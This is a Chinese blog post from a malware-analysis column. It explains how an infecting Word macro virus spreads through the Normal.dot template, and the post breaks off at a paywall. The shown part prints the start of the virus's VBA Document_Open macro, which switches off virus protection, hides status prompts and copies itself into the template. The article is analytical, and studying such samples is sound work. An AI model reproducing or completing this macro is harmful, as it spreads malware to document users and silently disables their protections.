感染型宏病毒原理

拜乔布斯

已于 2022-07-19 15:24:25 修改

阅读量1.2k

点赞数

分类专栏：恶意代码实战分析文章标签：感染型宏病毒

于 2022-07-11 18:22:30 首次发布

本文链接：https://blog.csdn.net/singleyellow/article/details/125727009

版权

恶意代码实战分析专栏收录该内容

21 篇文章 ¥299.90 ¥399.90

订阅专栏

本文详细解析了感染型宏病毒的工作原理，它通过修改Word的缺省公用模板Normal.dot，使得宏代码在用户创建新文档时自动植入。示例分析展示了宏代码结构，并提供了针对XP和Win7以上系统的公用模板删除路径，以清除病毒感染。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、原理

Word文件的生成是通过模板来创建。一般情况下，Word自动将新文档基于缺省的公用模板(Normal.dot)；感染型宏病毒通过修改缺省的公用模板中的宏代码，在用户使用word系统并用到缺省的公用模板时，这段宏代码就随着进入到新的文档中。

二、示例分析

宏代码+注释如下：

'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False '不显示状态栏，防止显示宏的运行状态
   Options.VirusProtection = False '关闭病毒保护功能
   Options.SaveNormalPrompt = False '如果公用模板被修改，不显示提示窗口，直接保存
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) '
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '待修改的公用模板
   If ThisDocument = NormalTemplate Then _ '如果打开的是公用模板
      Set Host = ActiveDocume

了解本专栏